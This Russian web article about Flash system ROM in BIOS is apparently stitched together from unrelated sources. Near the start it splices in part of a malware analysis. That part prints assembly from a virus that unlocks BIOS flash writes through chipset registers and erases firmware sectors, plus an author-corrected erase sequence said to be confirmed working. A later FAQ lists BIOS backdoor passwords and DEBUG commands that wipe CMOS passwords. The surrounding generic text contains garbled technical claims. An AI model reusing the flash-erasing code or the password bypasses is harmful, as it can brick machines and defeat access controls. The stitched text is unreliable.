Что такое flash system rom в Биосе: разбор и особенности

Flash system ROM в BIOS — это встроенная память, в которой хранится программное обеспечение, отвечающее за начальную загрузку компьютера и настройки аппаратного обеспечения. Она позволяет пользователям обновлять BIOS и вносить непосредственно изменения в его конфигурацию, что обеспечивает более гибкую работу системы.

Основное отличие Flash ROM от традиционной более старой версии ROM заключается в том, что она может быть перезаписана и обновлена. Это дает возможность производителям систем обновлять BIOS для исправления ошибок, добавления новых функций или повышения совместимости с современным оборудованием.

Flash system rom в биосе что это такое

Данные для устройства на шине PCI обрабатываются через порт 0CFCh, который представляет собой 32-битный порт. В связи с этим команда out dx, eax будет преобразована в четыре отдельные команды:

Код (Text):

; out dx ,al ;dx=0CFCh

; out dx+1,ah ;dx=0CFDh

; out dx+2, младший байт старшего слова ;dx=0CFEh (!)

; out dx+3, старший байт старшего слова ;dx=0CFFh

Для выполнения записи во флэш потребуется изменить лишь один байт, который будет считан и отправлен на порт 0CFEh. Следовательно, для экономии занимаемого пространства вирус осуществляет операции только с этим портом, считывая всего один байт вместо 32 бит. Подробности о значении регистра edi будут объяснены позже.

Код (Text):

Cli ; запрещает прерывания

call esi ; вызываем IOForEEPROM

Я вставлю код процедуры IOForEEPROM прямо здесь для удобства:

Код (Text):

(IOForEEPROM:

xchg eax, edi ; eax=8000384ch, edi=? , данные

xchg edx, ebp ; edx=0cf8h, ebp=0cfeh; , регистр

out dx, eax ; выполняем запись

xchg eax, edi ; edi=8000384ch, eax=?

xchg edx, ebp ; edx=0cfeh; ,регистр

in al, dx ; считываем текущее значение

BooleanCalculateCode = $ ;

or al, 44h ; активируем ROM, eax=value1=800038**h or 44h

xchg eax, edi ; eax=8000384ch, edi=value1, данные

xchg edx, ebp ; edx=0cf8h, ebp=0cfch; , регистр

out dx, eax ; выполняем запись

xchg eax, edi ; eax=value1 ,edi=8000384ch , данные

xchg edx, ebp ; edx=0cfch, ebp=0cf8h , регистр

out dx, al ; выполняем запись

Итак, что именно делает эта процедура? Прежде всего, edi=8000384Сh, это просто

индекс регистра устройства на шине PCI (в частности, это может быть PCI bridge из чипсета материнской платы). На сайте wasm.ru можно найти статью автора Dark_Master под названием “Определение конфигурации компьютера”, в которой детально объясняется, как создается индекс PCI устройства. В данном случае могу добавить, что

8000384ch=10000000000000000011100001001100b получаем номер регистра устройства=4Сh, номер самого устройства= 7, номер функции =0 (основная), шина=0. Вирус записал в порт 0CF8h, 8000384Сh считал из порта 0CFEh текущий статус разрешения доступа к флэш. Далее установил значение в «enable» (al, 44h) и перепрограммировал чипсет. Пока добавлю, что данный метод открытия доступа к флэш характерен для чипсетов 430VX, HX,TX и некоторых других фирмы Intel. Более подробно мы разберем методы программирования различных чипсетов во второй части статьи.

Код (Текст):

; Изучить страницу BIOS

; 000F0000 — 000FFFFF

; ( 64 КБ )

mov di, 0058h ; edi=80000058h

dec edx ; edx=0cfdh

; опкод операции and al,0fh

call esi ; вызов IOForEEPROM

В данном случае, похоже, вредоносное ПО выполняет код, который открывает доступ к флэш-памяти для других микросхем. (Не могу уточнить, для каких именно, так как не нашел регистр 58h, устройства 0).

Более того, вредоносное ПО модифицирует код процедуры IOForEEPROM, заменяя команду or al, 44h на and al,0fh. Измененный код IOForEEPROM представлен ниже:

Код (Текст):

(IOForEEPROM:

xchg eax, edi ; eax=80000058h, edi=value1, данные

xchg edx, ebp ; edx=0cf8h, ebp=0cfbh ; регистр

out dx, eax ; выполняем запись out 0cfbh,80000058h

xchg eax, edi ; edi=80000058h, eax=value1 ; данные

xchg edx, ebp ; edx=0cfbh; ebp=0cf8h , регистр

in al, dx ; получаем текущее значение

(BooleanCalculateCode :

and al, 0fh ; измененная команда

xchg eax, edi ; eax=80000058h, edi=value2 , данные xchg edx, ebp ; edx=0cf8h, ebp=0cfbh; , регистр out dx , eax ; проводим запись xchg eax, edi ; eax=value2, edi=80000058h, данные xchg edx, ebp ; edx=0cfbh, ebp=0cf8h , регистр out dx, al ; проводим запись ; Получение дополнительных данных из BIOS ; 000E0000 — 000E01FF ; ( 512 Bytes ) ; и секция дополнительного BIOS (Extra BIOS) ; может подлежать записи. ; EnableEEPROMToWrite mov eax, 0e5555h ; команда для Flash mov ecx, 0e2aaah ; команда для Flash call ebx ; вызов EnableEEPROMToWrite Теперь самое важное: после активации разрешений для flash, процесс записи (в данном контексте команда для очистки сектора flash) осуществляется следующим образом:

(я снова вставил код вызываемой процедуры для наглядности)

Код (Text):

(Активировать запись в EEPROM:

mov [eax], cl ; mov[0E5555h], 0AAh

mov [ecx], al ; mov[0E2aaah], 55h

mov byte ptr [eax], 80h ; mov[0E5555h], 80h

; команда Стирание сектора

mov [eax], cl ; mov[0E5555h], 0AAh

mov [ecx], al ; mov[0E2aaah], 55h

mov byte ptr [eax], 60h ; mov[0E5555h], 60h

; команда Подтверждение стирания (30h,50h )

Эта серия из шести команд в адресном пространстве сектора флэш (начинающегося с 0E0000h) приводит к перезаписи сектора значениями нуля. mov[0E5555h], 0AAh и

mov[0E2AAAh], 55h – это код команды, в то время как mov[0E5555h], 80h представляет собой непосредственно команду "erase setup". (При этом предполагается, что используется секторная флэш-память). Аналогичным образом работают следующие три команды, которые подтверждают процесс очистки флэш-памяти. Замечу, что команда mov[0E5555h], 60h (60h) не встречалась в официальной документации, а если заменить 60h на 30h или 50h, то флэш-память таких моделей, как Intel 28F010/12V’ и многих других, будет успешно очищена.

Здесь и возникает сомнительный момент. Вирус атакует сектор, начало которого расположено по адресу 0Е0000h. Но, как я уже говорил, флэш картируется (отображается) на верхние адреса 4Gb пространства). Поэтому правильно код должен выглядеть так:

Код (Text):

; mov byte ptr [0FFFE5555h] ,0AAh

; mov byte ptr [0FFFE2AAAh] , 55h

; mov byte ptr [0FFFE5555h] , 80h ; команда для удаления сектора

; mov byte ptr [0FFFE5555h] ,0AAh

; mov byte ptr [0FFFE2AAAh] , 55h

; mov byte ptr [0FFFE5555h] , 50h ; команда подтверждения удаления

Эффективность данного кода была подтверждена. Однако, в силу нехватки информации, можно предположить, что флэш-память может отображаться и на верхних адресах первого мегабайта. Это предположение вполне логично, поскольку при начальной работе в реальном режиме и стандартных настройках баз и пределов сегментных регистров процессор не может получить доступ к памяти выше одного мегабайта. Проверить точность утверждения Михаила Гука невозможно, однако исследовать картирование флэш-памяти на верхние адреса первого мегабайта мы планируем во второй части статьи.

Код (Text):

push ecx ; push 0e2aaah

; ждем окончания процесса

; процессы переходов loop $ ; Запись дополнительных данных BIOS (BIOS Extra ROM Data) ; 000E0000 — 000E007F ; ( 80h байт ) xor ah, ah ; ah=0 mov [eax], al ; mov [0E0055h], 55h ; вот и выполнение записи

В этом случае вирус также записывает в удаленный сектор для надежности, пожалуй. По сути, данная команда не является обязательной.

Код (Text):

xchg ecx, eax ; снова задерживаем процесс loop $ ; Отобразить и активировать основные данные BIOS ; 000E0000 — 000FFFFF, (128 КБ) может быть записана. mov eax, 0F5555h ; адрес pop ecx ; ecx=0E2AAAh mov ch, 0Aah ; ecx=0EAAAAh call ebx ; вызвать EnableEEPROMToWrite (EnableEEPROMToWrite: mov [eax], cl ; mov [0F5555h], 0AAh mov [ecx], al ; mov [0EAAAAh], 55h ; здесь очевидно ошибка в коде ; должно быть 0FAAAAh mov byte ptr [eax], 80h ; mov [0F5555h], 80h ; стереть сектор mov [eax], cl ; mov [0E5555h], 0Aah mov [ecx], al ; mov [0EAAAAh], 55h

Похоже, в коде произошла ошибка: вместо этого должно быть 0FAAAAh. Перемещаем байт по адресу [eax], 60h; перемещаем [0E5555h], 60h. (Возможно, следует использовать 30h или 50h) подтвердите удаление.

Здесь делается попытка записать сектор 0F000h, но либо в коде допущена ошибка, либо изменили исходник. В любом случае вирус уже сделал свое дело — сектор 0E0000h уже пустой…

Код (Текст):

push ecx ; помещаем 0EAAAAh в стек

loop $ ; ждем завершения

; переходных операций

mov byte ptr [eax], 20h ; записываем[0e5555h],20h

; подтверждаем очистку

Вредоносная программа отправляет команду 20h, которая подтверждает очистку сектора, что характерно для определенных флэш-модулей.

Код (Текст):

loop $ ; ждем завершения

; переходных операций

; Уничтожение данных о основном BIOS

; 000FE000 — 000FE07F, (80h байт)

mov ah, 0e0h ; eax=0EE055h

mov [eax], al ; записываем [0EE055h], 55h

; и дополнительно записываем для надежности

Еще пишет для надежности, но в свете предыдущего кода эта попытка неудачна.

Код (Текст):

; Скрыть раздел BIOS

; 000F0000 — 000FFFFF,(64 КБ)

Биос flash system rom: что это и зачем нужно

Главная цель flash system rom заключается в сохранении и обновлении кода BIOS. Обновления могут содержать устранение ошибок, увеличение производительности, добавление новых функций и поддержку новейших устройств. Регулярное обновление flash system rom настоятельно рекомендуется для обеспечения стабильного функционирования системы и борьбы с известными проблемами.

Работа с flash system rom в BIOS может оказаться достаточно трудной задачей для пользователя, однако, при корректном применении, это позволяет значительно улучшить производительность и надежность системы. Для обновления flash system rom производители часто предоставляют специализированное программное обеспечение, которое нужно запускать либо из операционной системы, либо во время загрузки компьютера. Важно строго следовать указаниям производителя и не прерывать процесс обновления, чтобы избежать потенциальных неполадок.

Зачем нужен flash system rom в биосе

Основная задача flash system ROM в BIOS — обеспечить прямой доступ к системной прошивке без необходимости использования внешних устройств, таких как жесткий диск или флэш-накопитель. Это позволяет компьютеру инициировать загрузку основной системы и производить запуск даже при отсутствии доступа к этим компонентам.

Ключевая функция flash system ROM заключается в том, что каждый раз при включении компьютера осуществляется проверка и загрузка BIOS (базовая система ввода/вывода). BIOS включает в себя набор программных команд, которые контролируют функционирование аппаратных компонентов компьютера, таких как клавиатура, монитор, жесткий диск и другие устройства.

Flash system ROM также позволяет обновлять и изменять прошивку системы. Это может быть полезно при добавлении новых функций, исправлении ошибок или улучшении производительности компьютера. Обновление flash system ROM может быть осуществлено специальным программным обеспечением, предоставленным производителем компьютера.

Следовательно, flash system ROM в BIOS представляет собой ключевой компонент компьютера, который обеспечивает надежную загрузку ОС, стабильную работу аппаратного обеспечения и возможность обновления прошивки для повышения функциональности и производительности системы.

Роль flash system rom в работе компьютера

Одним из основных элементов, находящихся в памяти flash system ROM, является BIOS (Basic Input/Output System) – особая программная среда, обеспечивающая начальную загрузку компьютера и настройку аппаратных компонентов. BIOS служит низкоуровневым интерфейсом, который позволяет операционной системе взаимодействовать с аппаратным обеспечением, а Включает в себя параметры, которые пользователь может менять для настройки работы компьютера.

При включении компьютера процессор извлекает код BIOS из памяти flash system ROM и загружает его в оперативную память. Затем BIOS выполняет проверку аппаратных компонентов (POST – Power-On Self-Test) и производит их инициализацию. После завершения этих процедур BIOS передает управление операционной системе, которая может уже взаимодействовать с аппаратными устройствами и выполнять необходимые операции.

Flash system ROM также может содержать другие важные компоненты и данные, такие как утилиты диагностики, прошивки устройств и драйверы, которые обеспечивают корректную работу компьютера. Они могут быть изменены или обновлены только с помощью специальных программ, предоставленных производителем компьютера или устройства.

Из-за того, что в процессе функционирования компьютера данные в flash system ROM нельзя изменить, разработчики и производители создают его с достаточной емкостью и включают встроенные механизмы для обновления. Это позволяет пользователям получать самые актуальные версии прошивок и драйверов без необходимости замены самой памяти.

Преимущества использования flash system rom

  • Повышенная скорость загрузки: использование flash system rom позволяет операционной системе более быстро загружаться, так как данные доступны для сохранения и восстановления сразу после включения компьютера.
  • Высокая степень надежности: flash system rom защищает от потери информации при отключении питания или других непредвиденных ситуациях, поскольку данные хранятся в постоянной памяти, а не в оперативной.
  • Простота обновления и настройки: благодаря возможности программировать flash system rom, пользователь может без труда обновлять его и адаптировать под свои требования, что создает комфортные условия для работы.
  • Улучшенные меры безопасности: flash system rom предоставляет возможность применять различные способы шифрования и аутентификации, что гарантирует защиту информации и предотвращает несанкционированный доступ к системе.
  • Энергетическая эффективность: применение flash system rom позволяет значительно оптимизировать расход энергии и уменьшить потребление, что имеет особое значение для мобильных устройств.

Увеличение скорости загрузки системы

Flash-память ROM — это инновационная технология, позволяющая обновлять данные в BIOS без необходимости выполнять стандартную перепрограммировку. Вместо этого информация записывается напрямую в чип памяти. Применение Flash-памяти ROM значительно ускоряет процесс обновления и изменения данных в BIOS.

Для улучшения скорости загрузки системы с использованием Flash-памяти ROM в BIOS можно предпринять следующие шаги:

1. Обновление версии прошивки BIOS. Регулярное обновление прошивки помогает устранить ошибки и внедрить новые функции, что может способствовать увеличению скорости загрузки системы.

2. Настройка оптимальных параметров BIOS для вашей системы. Неправильные настройки BIOS могут замедлять процесс загрузки. Убедитесь, что параметры в BIOS подобраны оптимально для вашего оборудования.

3. Отключение ненужных устройств в BIOS. Отключение ненужных устройств в BIOS может помочь увеличить скорость загрузки системы, так как система не будет заниматься обнаружением и инициализацией этих устройств.

4. Применение быстрой оперативной памяти. Замена оперативной памяти на более быструю, такую как DDR4, может существенно ускорить процесс загрузки операционной системы.

5. Улучшение процесса загрузки. Оптимизация начального этапа загрузки поможет уменьшить время, необходимое для запуска системы. Например, можно настроить загрузку с SSD и ограничить старт только необходимых служб и приложений.

6. Обновление драйверов. Установка актуальных драйверов для аппаратных компонентов компьютера может повысить общую производительность и, соответственно, скорость загрузки системы.

Увеличение скорости загрузки системы с помощью Flash системы ROM в BIOSе — это один из способов оптимизации работы компьютера. При правильной настройке и обновлении прошивки BIOS можно значительно ускорить загрузку системы и улучшить ее общую производительность.

Улучшение безопасности данных

Flash-система ROM, также известная как BIOS ROM, представляет собой энергонезависимую память на материнской плате ПК. Она включает в себя набор инструкций и данных, необходимых для стартовой загрузки и нормальной работы компьютера. Важнейшим элементом ROM является системный BIOS ROM – главный программный компонент, отвечающий за инициализацию аппаратного обеспечения.

Применение Flash-системы ROM в BIOS способствует повышению защиты данных, запрещая изменение системных настроек и позволяя устанавливать пароли для доступа к компьютеру. Благодаря Flash-системе ROM можно активировать защитные механизмы Secure Boot, которые обеспечивают использование только проверенных компонентов при загрузке операционной системы.

Преимущества применения Flash-системы ROM в BIOS для повышения безопасности данных включают:

  • Защита от несанкционированного доступа к устройству;
  • Обеспечение безопасности данных от вредоносных программ;
  • Ограничение возможности изменения системных настроек пользователями;
  • Гарантия безопасной загрузки операционной системы.

Для активации функции Flash system ROM в BIOS требуется обновление версии BIOS и включение необходимых опций в системных настройках. Перед началом обновления BIOS настоятельно рекомендуется сделать резервные копии всех критически важных данных, так как при обновлении возможны риски, включая потерю данных.

Использование Flash system ROM в BIOS для повышения уровня безопасности данных является ключевым этапом в защите информации на компьютерах. Этот механизм создает дополнительные препятствия для защиты данных и снижает вероятность возникновения проблемы безопасности.

Как использовать flash system rom

Для использования flash system rom в биосе обычно требуется выполнить несколько шагов:

  1. Загрузите последнюю версию прошивки (ROM) для вашей модели ПК с официального сайта производителя.
  2. Поместите файл прошивки в безопасное место, например, на внешний накопитель.
  3. Войдите в BIOS (нажав соответствующую клавишу при старте компьютера, обычно это Del, F2 или Esc).
  4. В меню BIOS найдите раздел «Boot» или «Опции загрузки».
  5. В этом разделе найдите пункт «Flash System ROM» или что-то подобное.
  6. Выберите этот пункт и нажмите Enter.
  7. Укажите путь к загруженному файлу прошивки системы (ROM) на внешнем носителе.
  8. Подтвердите начало процесса обновления прошивки системы (ROM).
  9. Дождитесь завершения обновления. Не выключайте компьютер и не нажимайте никакие клавиши во время этого процесса.
  10. По окончании процедуры компьютер автоматически перезагрузится с обновленной версией системной прошивки (ROM).

Обратите внимание: перед тем как использовать flash system rom, убедитесь, что вы осознаете все потенциальные риски и располагаете полным руководством по обновлению системы (ROM). Неправильное выполнение обновления может вызвать неисправности компьютера или потерю данных.

Настройка Setup BIOS. Вопросы и ответы

Как определить, что установленный на материнской плате BIOS, прошит во Flash ROM?

Выяснить тип микросхемы ПЗУ, находящейся на материнской плате, достаточно просто. Первое, что нужно отметить, это то, что практически все материнские платы, выпущенные после 1997 года, используют Flash ROM. Однако если у вас есть сомнения, лучше сделать проверку. Для этого необходимо изучить маркировку чипа ROM (28 или 32-контактная микросхема с наклейкой производителя BIOS), сняв наклейку. Маркировка может означать следующее (ххх обозначает три произвольных цифры):

  • 28Fxxx — Flash память на 12V
  • 29Cxxx — Flash память на 5V
  • 29LVxxx — Flash память на 3V (редкость)
  • 28Cxxx — EEPROM, фактически аналог Flash памяти
  • 27Cxxx — EPROM с окошком (не устанавливается с 1997 года): используется только для чтения, для записи необходим программатор и ультрафиолетовая лампа для стирания
  • PH29EE010: SST ROM чип — допускает перепрошивку
  • 29EE011: чип Winbond — Flash память на 5V
  • 29C010: Чип Atmel — Память Flash на 5В

Все остальные микросхемы, которые не имеют окошка с маркировкой, начинающейся на цифры 28 или 29, вероятнее всего, не являются Flash-памятью. Наличие окошка на микросхеме указывает на то, что она несет в себе не Flash-формат

Зачем необходима перепрошивка новых версий BIOS?

Существует несколько причин, по которым это приходится делать. Основная из них — Windows 95 не всегда хорошо конфигурируется, если используются старые версии BIOS. В настоящее время используются жесткие диски объемом более 528Мбайт. Для работы такого диска в системе необходимо поддержка LBA со стороны BIOS.

Если BIOS не поддерживает LBA, то для работы с объемными жесткими дисками необходимо использовать специальные программы. Их применение приведет к запуску Windows 95 в совместимом режиме, что негативно сказывается на производительности. Полная поддержка Plug-and-Play для Windows 95 возможно лишь при наличии PnP BIOS, что является важной причиной для обновления BIOS.

Кроме того, в более современных версиях BIOS устраняются незначительные ошибки и недочеты. Обновленные версии могут добавить новые функции, такие как возможность загрузки с CD-ROM, использование SCSI вместо IDE и т. д.

Где можно скачать новые версии BIOS?

Производители материнских плат обычно предоставляют свои версии BIOS для изделий. Поэтому, зная производителя и модель материнской платы, можно без проблем найти нужный BIOS. В принципе, можно обойтись и без точного названия материнской платы. Часто допускается установка BIOS от других моделей, если на них используется тот же чипсет и контроллер ввода-вывода. Тем не менее, к этой возможности стоит подходить с осторожностью и использовать только в случае крайней необходимости, так как возможны и другие несоответствия, например, в количестве слотов и т.д. Неправильная прошивка BIOS может привести к необходимости утилизации материнской платы.

Что делать, если производителя и название материнской платы определить не удается?

Наиболее распространенный способ определить производителя и модель материнской платы — это идентификационная строка, которую BIOS отображает сразу после запуска компьютера. В случае AMI BIOS такая строка выглядит следующим образом:

51-0102-1101-00111111-101094-AMIS123-P

40-01S5-ZZ1124-10101111-060691-OPWBSX-F

В этой строке производитель можно найти благодаря третьей группе цифр. Затем нужно сопоставить свой идентификационный номер с таблицей, где указаны номера и названия производителей. Модель материнской платы можно установить, проанализировав всю идентификационную строку с тем же справочным материалом.

Идентификационная строка Award BIOS имеет вид

2A59CQ1CC

Данный код дает возможность узнать чипсет (первые пять символов — 2A59C), производителя материнской платы (два следующих символа — Q1) и модель материнской платы (последняя часть — CC). Следующим шагом потребуется ознакомиться с обозначениями чипсетов, производителей и моделей в идентификационных строках.

Как перепрошить Flash BIOS?

Для проведения данной процедуры требуется программа для перепрошивки и файл с BIOS. Обычно подобные утилиты идут в комплекте с материнскими платами, но в случае необходимости их можно загрузить с сайтов производителей. Затем, загрузившись в среде чистого DOS (без драйверов, выбрав режим Safe Mode Command Prompt only нажав F8), следует запустить программу прошивки:

  • awdflash xxx.bin (для BIOS Award)
  • amiflash xxx.bin (для BIOS AMI)
  • mrflash xxx.bin (для BIOS MRBIOS)

Примечания:

  • Большинство утилит прошивки при старте предлагают сохранить текущую версию BIOS. Рекомендуется согласиться, так как новый BIOS может не функционировать так, как ожидается.
  • Некоторые производители материнских плат могут предоставлять свои программы для прошивки. В таком случае предпочтительнее использовать именно их.
  • Перед установкой новой версии BIOS отключите настройку System BIOS Cacheable в меню Setup.
  • Если ваш процессор был разогнан, верните его на стандартную частоту на время перепрошивки BIOS.

Почему прошивальщик Award BIOS выдает сообщение "Insufficient memory"?

  1. В разделе Chipset Features Setup в меню Setup отключите опцию Video Bios Cacheable
  2. Выходите из меню Setup
  3. Перезагрузите систему с помощью чистого DOS (нажав F8 и выбрав только режим командной строки в безопасном режиме)
  4. Обновите BIOS и выполните перезагрузку
  5. Зайдите в меню Setup и включите опцию Video Bios Cacheable.

Что будет, если запортить BIOS или прошить неправильную версию?

  • Вероятнее всего, компьютер не сможет запуститься, даже не показывая никаких признаков активности.

Как восстановить поврежденный BIOS?

Метод 1 (универсальный):

  1. Необходимо найти любую работающую материнскую плату с поддержкой флэш-памяти (желательно, чтобы она использовала тот же чипсет, что и BIOS, который мы собираемся прошить. Хотя можно попробовать и с другим чипсетом, в этом случае риск значительно возрастает). Нужно найти флэш или ПЗУ от материнской платы, которая аналогична той, с которой мы будем копировать прошивку, и временно установить его (при необходимости переставив джамперы, связанные с флэш-памятью). Если у вас есть программатор, который поддерживает вашу флэш-память, это будет проще и эффективнее.
  2. Извлекаем флэш или ПЗУ из данной материнской платы, обвязываем его по обеим сторонам двумя кольцами ниток (это облегчит его дальнейшее извлечение) и осторожно вставляем обратно в панель.
  3. Загружаемся в "чистый" DOS, удаляем флэш или ПЗУ, находящийся на плате (он нужен лишь для загрузки), при необходимости настраиваем джамперы для флэша и устанавливаем флэш, который будем программировать. Важно не создать замыкание 🙂
  4. Запускаем утилиту для записи, соответствующую материнской плате, BIOS, с которым проводилась загрузка, и флэшу, который требуется переписать (программа должна поддерживать полное обновление флэша, например, из комплекта mr-bios или утилиты pflash от ASUS). Записываем, отключаем питание и извлекаем готовый флэш. Все завершено.

Способ 2 (для Award BIOS):

  1. Извлеките PCI-видеокарту (всё, что будет описано ниже, не будет работать с PCI-видеокартами, так как для их инициализации требуется BIOS, хотя согласно отзывам на некоторых материнских платах, таких как Gigabyte 6va7, возможно было загрузиться с поврежденным BIOS через PCI и AGP видеокарты, но это скорее исключение.)
  2. Установите старую ISA-видеокарту и подключите монитор
  3. Поместите загрузочную дискету в дисковод А:
  4. Включите компьютер
  5. Компьютер должен запуститься благодаря Award Boot Block (результат может варьироваться в зависимости от состояния BIOS.)
  6. Вставьте подготовленную дискету с прошивальщиком и корректным BIOS
  7. Прошите BIOS
  8. Перезагрузите систему
  9. Выключите компьютер и верните видеокарту на место. Готово — теперь устройство функционирует.

Метод 3 (для материнских плат Intel):

  1. Перевести Flash Recovery jumper в режим восстановления (к сожалению, не все материнские платы позволяют это сделать)
  2. Поместить загрузочную дискету для обновления, которая идет в комплекте с каждой платой Intel, в привод A:
  3. Перезапустить систему
  4. В ходе этой операции экран останется черным, так как в непрошиваемой области boot block отсутствуют видеофункции. Наблюдать за процессом можно будет только по звуковым сигналам спикера и индикатору на дисководе. Когда вы услышите сигнал и увидите, что индикатор дисковода загорится, это будет означать, что система начинает копировать нужные данные во Flash ROM. Как только индикатор погаснет, прошивка завершится.
  5. Выключить ПК
  6. Вернуть Flash Recovery jumper в исходное положение
  7. Извлечь дискету из дисковода и включить компьютер снова

Что такое PROM, EPROM и ЕEPROM и чем они отличаются?

  • PROM (программируемая память только для чтения) — это тип чипа памяти, на который данные можно записать лишь один раз. Информация, записанная в PROM, сохраняется навсегда и не может быть удалена 🙂 (она остается в памяти). В отличие от оперативной памяти, PROM сохраняет данные даже в отключенном состоянии компьютера.
  • Главное отличие PROM от ROM (память только для чтения) состоит в том, что PROM производятся изначально пустыми, тогда как в ROM информация загружается на этапе производства. Для того чтобы записать данные на чипы PROM, используются специализированные устройства, известные как программаторы. EPROM (стираемая программируемая память только для чтения) является особым видом PROM, который можно очищать с помощью ультрафиолетового света. После процесса удаления данных, EPROM можно снова программировать. EEPROM по сути аналогична PROM, но для удаления информации ей нужны электрические импульсы.
  • EEPROM (электрически стираемая программируемая память только для чтения) — это особый вид PROM, который можно очистить с помощью электрического разряда. Как и другие разновидности PROM, EEPROM сохраняет информацию даже при отключении питания компьютера. В отличие от RAM, скорость работы EEPROM такая же, как у остальных типов ROM.
  • Одной из разновидностей EEPROM является Flash memory или Flash EEPROM, который можно перепрограммировать без использования дополнительных устройств, таких как программаторы, находясь непосредственно в компьютере.

Как сбросить установки BIOS (включая пароль) в значения по умолчанию из DOS?

Поскольку не все материнские платы имеют джампер для сброса настроек BIOS, или этот джампер может оказаться недоступным, существует способ очистки BIOS через DOS, используя команду debug. Загрузившись в DOS (не в DOS-box под Windows!), нужно ввести:

Способ 1 (Award и AMI BIOS):

DEBUG -O 70 17 -O 71 17 Q

Способ 2 (Phoenix BIOS):

DEBUG -O 70 FF -O 71 17 Q

Как подобрать (снять) пароль на Setup (загрузку)?

Если забыт пароль на Setup, можно воспользоваться различными программами для снятия пароля или одним из заводских паролей.

Заводские пароли для BIOS AWARD следующие:

AWARD_SW, TTPTHA, aPAf, HLT, lkwpeter, KDD, j262, ZBAAACA, j322, ZAAADA, Syxz, %шесть пробелов%, Wodj, %девять пробелов%, ZJAAADC, 01322222, j256, ?award

Один из этих кодов должен сработать. Тем не менее, в более современных версиях AWARD BIOS (4.51) инженерные пароли отсутствуют. Для таких BIOS существует специальная программа, позволяющая снять или определить забытые пароли.

Что касается AMI BIOS, то стандартных паролей нет. В редких случаях, если вы только что купили материнскую плату, пароль может быть AMI.

Существуют программы для определения установленного на Setup пароля. Вы можете скачать здесь эти утилиты для Award BIOS и AMI BIOS.

В некоторых версиях AMI BIOS после включения можно удерживать клавишу Ins, что приводит к загрузке стандартных настроек в CMOS-память.

Как аппаратно сбросить CMOS (вместе с паролями)?

На большинстве современных материнских плат рядом с батареей расположена перемычка для сброса CMOS-памяти (обычно это 4 контакта, нормальное состояние — 2-3, для сброса — 1-2 или 3-4; иногда может быть и 2 или 3 контакта).

Выпаивать или закорачивать батарейку не имеет смысла, так как это в большинстве случаев не приносит результата из-за особенностей питания CMOS-памяти, а короткое замыкание батареи значительно уменьшает ее срок службы.

Если на материнской плате отсутствует батарейка, стоит поискать пластиковый модуль с надписью "DALLAS" (это целиковый элемент с батареей и микросхемой CMOS) — перемычка может находиться рядом с ним.

Оцените статью
LeeReload
Добавить комментарий